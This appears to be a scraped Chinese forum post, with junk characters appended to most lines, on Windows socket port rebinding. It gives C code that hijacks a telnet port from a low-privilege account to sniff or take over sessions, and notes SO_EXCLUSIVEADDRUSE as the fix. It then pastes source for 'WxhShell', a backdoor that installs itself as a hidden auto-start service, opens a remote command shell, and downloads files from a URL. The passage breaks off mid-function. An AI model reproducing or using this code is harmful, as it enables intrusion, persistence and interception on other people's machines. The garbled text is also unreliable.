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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h'ik3mLH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WC_.j^sW  
N$=YL @m8  
  saddr.sin_family = AF_INET; UrniJB]  
iGW(2.Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hvt]VC]]  
gx\V)8Zr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); * :"*'  
];.5 *a%*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bR`5g  
:?f<tNU$  
  这意味着什么?意味着可以进行如下的攻击: ui]iO p  
vuQA-w7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6v@Prw@.b  
QPy h.9:N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3h bHS~  
mQj#\<*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 288mP]a(v_  
,Wtw0)4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }$?FR  
Uo3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >iyNZ]."\  
``xm##K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?[Yn<|  
|:)Bo<8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o HK   
HB9"T5Pd*  
  #include ]H`wE_2tu  
  #include `(W"wC   
  #include F"Dr(V  
  #include    8%4;'[UV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y58H.P  
  int main() 5%'ybh)@   
  { 74_?@Z(  
  WORD wVersionRequested; s$y_(oU,D  
  DWORD ret; '{`KYKLP+  
  WSADATA wsaData; j)i c7 b  
  BOOL val; Fd8nR9A  
  SOCKADDR_IN saddr; d /jx8(0  
  SOCKADDR_IN scaddr; dcKpsX  
  int err; u7!gF&tA  
  SOCKET s;  2_$8Ga  
  SOCKET sc; eKP >} `  
  int caddsize; 1^IMoC7$#  
  HANDLE mt; AyJl:aN^  
  DWORD tid;   5a |R  
  wVersionRequested = MAKEWORD( 2, 2 ); 4lo7yx  
  err = WSAStartup( wVersionRequested, &wsaData ); 51:5rN(_  
  if ( err != 0 ) { #jbC@A9Pe  
  printf("error!WSAStartup failed!\n"); #m#IBRD:  
  return -1; &UDbH* !4=  
  } G-CL \G\n  
  saddr.sin_family = AF_INET; D(z#)oDr  
   F,YP Il  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X8}r= K~  
l(Y32]Z   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \]Y<d  
  saddr.sin_port = htons(23); Tp;W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :M6|V_Yp  
  { /@"mQx~[q  
  printf("error!socket failed!\n"); k r$)nf  
  return -1; =u0=)\0@r  
  } "'B DVxp'w  
  val = TRUE; r6j[C"@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,WdSJ BK'a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) + s}!+I8 P  
  { D[W ` q#W  
  printf("error!setsockopt failed!\n"); "]^U(m>f  
  return -1; w !kk(QMV  
  } +sJ{9#6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fe\'N4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8y<mHJ[B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I'D3~UI f  
.(&6gB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mAH7; u<  
  { 9f['TG,"  
  ret=GetLastError(); v~RxtTu  
  printf("error!bind failed!\n"); u!xgLf'`  
  return -1; :qS~"@?<  
  } Qc33C A  
  listen(s,2); yO-2.2h  
  while(1) AU*]D@H  
  { dyqk[$(  
  caddsize = sizeof(scaddr); ?n<sN"  
  //接受连接请求 w8>lWgN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7d{xXJ-  
  if(sc!=INVALID_SOCKET) ^`-Hg=d  
  { %jUZc:06  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E.'6p \  
  if(mt==NULL) .K940& Ui  
  { qoan<z7  
  printf("Thread Creat Failed!\n"); `U?S 9m  
  break; mGz'%?zj  
  } sS)tSt{C  
  } X"8$,\wX,  
  CloseHandle(mt); kPEU}Kv  
  } +Km xo4p  
  closesocket(s); uA?a DjA  
  WSACleanup(); F0m[ls$  
  return 0; C#&b`  
  }   w6 Y+Y;,'f  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8}z PDs  
  { YU87l  
  SOCKET ss = (SOCKET)lpParam; M/[9ZgDc  
  SOCKET sc; x ZAg  
  unsigned char buf[4096]; ^ ' )4RU  
  SOCKADDR_IN saddr; HDo=WqG  
  long num; Nf~B 1vkp  
  DWORD val; ?#5)TAW  
  DWORD ret; 2}{[ J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }k1[Fc|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   oOQan  
  saddr.sin_family = AF_INET; r|jBKq~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qyIy xJ  
  saddr.sin_port = htons(23); 6{Bvl[mhI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M~sP|Ha"+  
  { gi A(VUwI>  
  printf("error!socket failed!\n"); BZQJ@lk5  
  return -1; oxCfSA  
  } a`||ePb|W~  
  val = 100; y9:o];/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "Q23s"  
  { d[(%5pw~zL  
  ret = GetLastError(); -mZ{.\9  
  return -1; 5o|u!#6  
  }  GwD"j]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7 dG_E]&  
  { F, 5}3$  
  ret = GetLastError(); yErvgf  
  return -1; 'bef3P9`  
  } .|ZnU]~T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6Hpj&Qm  
  { (+\K  
  printf("error!socket connect failed!\n"); 4_eFc$^  
  closesocket(sc); =2wy;@f  
  closesocket(ss); x(zW<J5X"  
  return -1; 3'Z+PPd!  
  } U&tR1v'  
  while(1) :;x#qtv~Iz  
  { V> eJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :n?}G0y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !P)7t`X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k|^nrjStC  
  num = recv(ss,buf,4096,0); y /?;s]>b  
  if(num>0) xeHqC9Ou  
  send(sc,buf,num,0);  s@3<]  
  else if(num==0) j%&^qD,  
  break; #KSB%  
  num = recv(sc,buf,4096,0); In4T`c?kQ  
  if(num>0) "_&HM4%!  
  send(ss,buf,num,0); @}N;C ..Y$  
  else if(num==0) u`X}AKC  
  break; =HvLuVc  
  } p&\x*~6u  
  closesocket(ss); 4VL]v9  
  closesocket(sc); )6zwprH!  
  return 0 ; 8<ri"m,  
  } QO~ TuC  
<$;fOp  
3?(||h{  
========================================================== 0g(hY:  
?3i-wpzMp  
下边附上一个代码,,WXhSHELL K31rt-IIt  
.!t' &eV  
========================================================== SY2B\TV  
hMx/}Tw wt  
#include "stdafx.h" 2? 7a\s  
:U;ZBs3  
#include <stdio.h> `Uw^,r  
#include <string.h> yyHr. C  
#include <windows.h> 5k}UXRB?  
#include <winsock2.h> "|"bo5M:   
#include <winsvc.h> ',* 6vbII  
#include <urlmon.h> Im_`q\i  
p.1|bXY`  
#pragma comment (lib, "Ws2_32.lib") Lp/]iZ@  
#pragma comment (lib, "urlmon.lib") 7QRtNYo#\  
{ByT,92  
#define MAX_USER   100 // 最大客户端连接数 VL<)d-  
#define BUF_SOCK   200 // sock buffer IV:Knh+ ?  
#define KEY_BUFF   255 // 输入 buffer /T*]RO4%>]  
*Mqg_} 0Y  
#define REBOOT     0   // 重启 FyQ^@@  
#define SHUTDOWN   1   // 关机 )P.|Xk:r  
B|~\m ~  
#define DEF_PORT   5000 // 监听端口 Hp":r%)  
NLF{W|X  
#define REG_LEN     16   // 注册表键长度 |^@TA=_  
#define SVC_LEN     80   // NT服务名长度 o0Hh&:6!M  
L+QEFQ:r5  
// 从dll定义API $y >J=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8DLMxG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,k@fX oW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Nr7MSFiL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p<6pmW3  
z{^XU"yB  
// wxhshell配置信息 1}!f.cWV(  
struct WSCFG { =RUKN38  
  int ws_port;         // 监听端口 0:nQGX!N  
  char ws_passstr[REG_LEN]; // 口令 t9x.O  
  int ws_autoins;       // 安装标记, 1=yes 0=no *4[3?~_B#6  
  char ws_regname[REG_LEN]; // 注册表键名 ]}G (@9  
  char ws_svcname[REG_LEN]; // 服务名 }EO n=*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +;z4.C{gM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4aZsz,=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e}}xZ%$4|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n|L.d BAs]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" obX|8hTL%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _&JlE$ua7  
Ty]CdyL$  
}; G#CWl),=  
tL;;Yt  
// default Wxhshell configuration d|6*1hby  
struct WSCFG wscfg={DEF_PORT, "$:nz}  
    "xuhuanlingzhe", F1|4([-<]  
    1, ">voi$Kzey  
    "Wxhshell", oc-7gz)  
    "Wxhshell", hgKs[ySo,3  
            "WxhShell Service", "mT~_BsD  
    "Wrsky Windows CmdShell Service", bU:"dqRm<  
    "Please Input Your Password: ", ^#%$?w>wI  
  1, +V7*vlx-  
  "http://www.wrsky.com/wxhshell.exe", 5'>(|7~%\  
  "Wxhshell.exe" f+$/gz  
    }; M6|Q~8$  
c6dL S  
// 消息定义模块 it>FG9hVo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4y21v|(9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C `knFGb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CWI(Q`((>  
char *msg_ws_ext="\n\rExit."; P RX:*0  
char *msg_ws_end="\n\rQuit."; <6n(a)L1  
char *msg_ws_boot="\n\rReboot..."; JYKA@sZHe  
char *msg_ws_poff="\n\rShutdown..."; [>?B`1;@  
char *msg_ws_down="\n\rSave to "; |TEf? <"c  
\kWceu}H,  
char *msg_ws_err="\n\rErr!"; )Hlr 09t=]  
char *msg_ws_ok="\n\rOK!"; iAWPE`u4  
&g@?{5FP  
char ExeFile[MAX_PATH]; UwdcU^xt9  
int nUser = 0;  D[]vJ  
HANDLE handles[MAX_USER]; oOe5IczS(  
int OsIsNt; /k}v m3  
%t%+;(M9  
SERVICE_STATUS       serviceStatus; b9w9M&?fT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D 7H$!(F>  
Ty#L%k}-t  
// 函数声明 g4j?E{M?  
int Install(void); -@L*i|A  
int Uninstall(void); d:=5y)  
int DownloadFile(char *sURL, SOCKET wsh);  i)8,u  
int Boot(int flag); O-bC+vB]M  
void HideProc(void); b\VY)=U  
int GetOsVer(void); iu&'v  
int Wxhshell(SOCKET wsl); u& :-&gva  
void TalkWithClient(void *cs); Y@^M U->+  
int CmdShell(SOCKET sock); "o}3i!2Qr  
int StartFromService(void); U4O F{  
int StartWxhshell(LPSTR lpCmdLine); gnB%/g[_  
0$/wH#f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Alp9] 0(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K}! VY`  
ep,kImT  
// 数据结构和表定义 OYNs1yB  
SERVICE_TABLE_ENTRY DispatchTable[] = ~XQN4Tv-  
{ a{69JY5  
{wscfg.ws_svcname, NTServiceMain}, (? YTQ8QR  
{NULL, NULL} i+T$&$b  
}; Al' sY^B  
0sk*A0HX-  
// 自我安装 )UZ 's>O  
int Install(void) oXV  
{ ~n|*-rca  
  char svExeFile[MAX_PATH]; eH=lX9  
  HKEY key; 3MiNJi#=2  
  strcpy(svExeFile,ExeFile); f#/v^Ql*  
+vBq,'k`  
// 如果是win9x系统,修改注册表设为自启动 m/%sBw\rx  
if(!OsIsNt) { hU+sg~E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j$A~3O<e"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =R?NOWrDY  
  RegCloseKey(key); 4 K{4=uU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3(}HD*{E[@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;VYL7Xu](  
  RegCloseKey(key); %nP13V]  
  return 0; KS1Z&~4  
    } Qy5\qW'  
  } lJu2}XRiU  
} 0b~5i-zM/  
else { SpjL\ p0  
Iz!Blk  
// 如果是NT以上系统,安装为系统服务 B {f&'1pp/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xhj A!\DS  
if (schSCManager!=0) >Ex\j?  
{  N6E H  
  SC_HANDLE schService = CreateService q%"]}@a0  
  ( qA#!3<  
  schSCManager, kOx2P(UAEx  
  wscfg.ws_svcname, ZVVK:d Dgt  
  wscfg.ws_svcdisp, ]f-< s,@  
  SERVICE_ALL_ACCESS, G;qC& 7T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @q],pD  
  SERVICE_AUTO_START, *" >e k k  
  SERVICE_ERROR_NORMAL, kdITh9nx<r  
  svExeFile, S;MS,R  
  NULL, d9sl(;r  
  NULL, iAbtv^fn  
  NULL, mz3!HksZ "  
  NULL, 6#K1LY5}  
  NULL {SbA(a?B  
  ); y 7|x<Z  
  if (schService!=0) h$G&4_O  
  { 9L]x9lI;  
  CloseServiceHandle(schService); Bk?3lwCT  
  CloseServiceHandle(schSCManager); c*9RzD#Zj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x'+lNlv  
  strcat(svExeFile,wscfg.ws_svcname); TfDx> F$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }rxFX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a RC >pK.  
  RegCloseKey(key); Q: [d   
  return 0; mH}/QfUlq  
    } mfIY7DP  
  } Nf%jLK~  
  CloseServiceHandle(schSCManager); $A9!} `V  
} q!$?G]-%  
} lnEc5J@c>i  
c&e?_@} |  
return 1; Ef;_im  
} ~ 61O  
,[D,G  
// 自我卸载 ^g$k4  
int Uninstall(void) DAj@wn3K?  
{ iL)q':xz  
  HKEY key; z0t6}E<VIR  
nG1 mx/w  
if(!OsIsNt) { UsNr$MO {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d>M&jSCL  
  RegDeleteValue(key,wscfg.ws_regname); ;m,lS_[c  
  RegCloseKey(key); MP-A^QT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yi1_oe  
  RegDeleteValue(key,wscfg.ws_regname); @AvXBMq|  
  RegCloseKey(key); xYtY}?!"  
  return 0; t IdH?x  
  } 0e^j:~*  
} x;# OM  
} 3o%JJIn&  
else { 3x#=@i  
VTa?y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qN1(mxa.?  
if (schSCManager!=0) vHcB ^Z  
{ S&Q1Ky^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [#fXmW>N/  
  if (schService!=0) KM*sLC#  
  { 4r\Sbh  
  if(DeleteService(schService)!=0) { KwlN  
  CloseServiceHandle(schService); ]0GOSh  
  CloseServiceHandle(schSCManager); :CV!:sUm  
  return 0; T?I&n[Y|  
  } 36s[hg  
  CloseServiceHandle(schService); pv~XZ(J.1  
  } U SXz  
  CloseServiceHandle(schSCManager); hY7Q$B<  
}  (d |  
} $h0]  
OY*BVJ^  
return 1;  L,!Z  
} a\$PqOB!  
4NMv7[r  
// 从指定url下载文件 1 M7=*w,  
int DownloadFile(char *sURL, SOCKET wsh) %np b.C|+  
{ y@ J\h8_  
  HRESULT hr; 6]Q ~c"+5  
char seps[]= "/"; Ash"D~  
char *token; r*C:)z .}  
char *file; Q*+@"tk<  
char myURL[MAX_PATH]; E j@M\  
char myFILE[MAX_PATH]; s1<_=sfnT  
S U~vS   
strcpy(myURL,sURL); c|x:]W'ij  
  token=strtok(myURL,seps); _- H uO/  
  while(token!=NULL) BA' ($D>  
  { ,-ZAI b*  
    file=token; ?d-(M' v.  
  token=strtok(NULL,seps); dGAthbWJ  
  } l7Y^C1hM  
5m&{ f>]T  
GetCurrentDirectory(MAX_PATH,myFILE); v_J\yW'K  
strcat(myFILE, "\\"); o^wj_#ai$  
strcat(myFILE, file); WZ&/l 65J  
  send(wsh,myFILE,strlen(myFILE),0); |j&u2DM~#m  
send(wsh,"...",3,0); [&k[k)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `9B xDp]I  
  if(hr==S_OK) M. 1R]x( |  
return 0; -N(y+~wN  
else {dhuvB  
return 1; %?J\P@  
.Ej `!  
} g-U'{I5F  
BhJqMK>'S  
// 系统电源模块 pOS:/~I3  
int Boot(int flag) ;XSRG*3j~4  
{ t(VG#}  
  HANDLE hToken; #dE#w#=r  
  TOKEN_PRIVILEGES tkp; zh2$U dZ|M  
9-eYCg7C|  
  if(OsIsNt) { lSC3m=4g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G5egyP;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }P#%aE&-  
    tkp.PrivilegeCount = 1; X0^gj>GI|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T9jp*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  s$YKdtR  
if(flag==REBOOT) { 3}= .7qm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :T" !6;  
  return 0;  T/p}Us  
} Wznz  
else { )TJz'J\*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YiB]}/  
  return 0; Qzw~\KY:  
} {6^c3R[  
  } C_dsYuQ5R  
  else { h`Vb#5 ik  
if(flag==REBOOT) { 73P=<3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IhwJYPLF  
  return 0; p%+ 0^]v1  
} .21%~"dxJ  
else { E `Ualai  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6_=qpP-?  
  return 0; JQYIvo1,Q  
} K~z*P 0g*  
} iaQ[}'6!$  
Z^`&Z3s  
return 1; p/ pVMR  
} M(HU^?B{'  
yBE1mA:x7:  
// win9x进程隐藏模块 f)H6 n l7r  
void HideProc(void) ~mOGNf?f  
{ 8 Mp2MZ*p  
9m0`;~!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vC E$)z'"  
  if ( hKernel != NULL ) m~1{~'  
  { TC?kuQI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qe 4hNFq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {/uBZ(   
    FreeLibrary(hKernel); W:O<9ZbQ_  
  } ~:b bV6YO  
%E?:9. :NJ  
return; QIQB  
} [6K2V:6:  
>/;\{IG Wn  
// 获取操作系统版本 \NhCu$'  
int GetOsVer(void) GK)3a 9;  
{ lyI rO"o  
  OSVERSIONINFO winfo; @^a6^*X>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gn1`ZYg  
  GetVersionEx(&winfo); >aW|W!.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) il<D e]G  
  return 1; \#1!qeF  
  else Dx$74~2e  
  return 0; z}.!q{Q  
} #pBAGm3  
@g9j+DcU  
// 客户端句柄模块 t>7t4>X  
int Wxhshell(SOCKET wsl) "Ol;0>$  
{ %1gJOV  
  SOCKET wsh; bW;0E%_  
  struct sockaddr_in client; )&1yt4 x6%  
  DWORD myID; leiED'  
#i-!:6sLA  
  while(nUser<MAX_USER) m?'5*\(ST  
{ bR?-B>EB  
  int nSize=sizeof(client); Fe.Y4\xz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kuu9'Sqc'b  
  if(wsh==INVALID_SOCKET) return 1; 7loCb4Hv  
BnvUPDT&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VD/Wl2DK  
if(handles[nUser]==0) Qc;`n ck  
  closesocket(wsh); H. uflO  
else hghtF  
  nUser++; B, xrZs  
  } L$zT`1Hy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W=5+k0Q  
l~Kn-S{  
  return 0; ]w]Swt2n  
} VXQS~#dQj  
T~s/@*y9  
// 关闭 socket _bqiS]:  
void CloseIt(SOCKET wsh) -))>7skc  
{ [P OcO  
closesocket(wsh); iN*d84KTP  
nUser--; to[EA6J8l  
ExitThread(0); +1Si>I  
} BS;rit:  
)~_!u}+:(  
// 客户端请求句柄 WEqHL,Uh]  
void TalkWithClient(void *cs) Xx:0Nt]  
{ >r{3t{  
}1TfKS]m>  
  SOCKET wsh=(SOCKET)cs; [ w  
  char pwd[SVC_LEN]; CWE jX-  
  char cmd[KEY_BUFF]; eM/|"^%  
char chr[1]; \cPGyeq  
int i,j; `PSr64h:D  
Y((z9-`  
  while (nUser < MAX_USER) { *u>2"!+Ob  
f<xF+wE  
if(wscfg.ws_passstr) { $%;NX[>j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <3P?rcd,5K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &|%z!x6f  
  //ZeroMemory(pwd,KEY_BUFF); h?.6e9Y4  
      i=0; m{mK;D  
  while(i<SVC_LEN) { si=/=h  
\4K8*`$  
  // 设置超时 b6bmvHD  
  fd_set FdRead; Mki(,Y|1~  
  struct timeval TimeOut; cy)L%`(7  
  FD_ZERO(&FdRead); &w2.b:HF  
  FD_SET(wsh,&FdRead); S#jH2fRo  
  TimeOut.tv_sec=8; HGWwGd  
  TimeOut.tv_usec=0; JQ+4 SomK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2-o,4EfHVO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XT{1!I(  
o1MbHBb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Y ) Qy,  
  pwd=chr[0]; < t>N(e  
  if(chr[0]==0xd || chr[0]==0xa) { uWx/V+w  
  pwd=0; PHfGl  
  break; aC]~   
  } ?P<&8eY  
  i++; )pr pG !  
    } Vt n$*ML  
;Zj Qy,H%  
  // 如果是非法用户,关闭 socket RduA0@g0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (d^pYPr{  
} )#ic"UtR  
j V:U%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8f,jC+(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gD=s~DgN)  
RK'3b/T  
while(1) { m oFK/5cJ  
q5lRc=.b[  
  ZeroMemory(cmd,KEY_BUFF); Cd7 j G  
Se"\PxBR  
      // 自动支持客户端 telnet标准   IZJV6clM  
  j=0; TUy*wp9  
  while(j<KEY_BUFF) { C1p |.L?m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v&H&+:<  
  cmd[j]=chr[0]; x18ei@c  
  if(chr[0]==0xa || chr[0]==0xd) { b44H2A .  
  cmd[j]=0; >P\T nb"Q\  
  break; FX}<F0([?  
  } '(2G qX!  
  j++; |+!Jr_ By  
    } 4DuZF -y  
En5Bsz !  
  // 下载文件 p*Q"<@n  
  if(strstr(cmd,"http://")) { KT?vs5jg$&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "~]9}KM}3W  
  if(DownloadFile(cmd,wsh)) Ma-^o<{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2(\>PN-  
  else RF6(n8["MW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J'@ I!Jc  
  } <+_OgF1G  
  else { B'yN &3  
gQ?>%t]  
    switch(cmd[0]) { r+m8#uR  
  q n=6>wP  
  // 帮助 *>_:E6)  
  case '?': { O(&EnNm[2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EHzU`('?[  
    break; C!qW:H  
  } V_+3@C  
  // 安装 %3xH<$Gq5  
  case 'i': { v{JCEb&wN  
    if(Install()) .]r[0U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kwh3SU=L}  
    else (5km]`7z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aEZl ICpU7  
    break; Aba6/  
    } YXV![gw0  
  // 卸载 K<|b>PI.s  
  case 'r': { OE4 2{?)  
    if(Uninstall()) i.F[.-.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?)]sfJG  
    else $9W9*WQL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %A82{  
    break; OEB_LI'  
    } lV]l`$XI  
  // 显示 wxhshell 所在路径 F>^k<E?,C  
  case 'p': { ShCAkaj_  
    char svExeFile[MAX_PATH]; c (\-7*En  
    strcpy(svExeFile,"\n\r"); N66jFRA;x  
      strcat(svExeFile,ExeFile); v+Mt/8  
        send(wsh,svExeFile,strlen(svExeFile),0); {_k 6t  
    break; "G`)x+<~Z8  
    } l l&iMj]  
  // 重启 Gc@ENE f  
  case 'b': { I*ho@`U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uidE/7  
    if(Boot(REBOOT)) g@nE7H1V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QF%@MK0zC  
    else { i~K~Czmok+  
    closesocket(wsh); M.|hnGX N  
    ExitThread(0); o^7NZ]m  
    } Ui?t@.  
    break; D.?KgOZ  
    } oxGOn('  
  // 关机 o<C~67o_  
  case 'd': { ]t #,{%h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ](T*f'LN  
    if(Boot(SHUTDOWN)) 2H]&3kM3X  
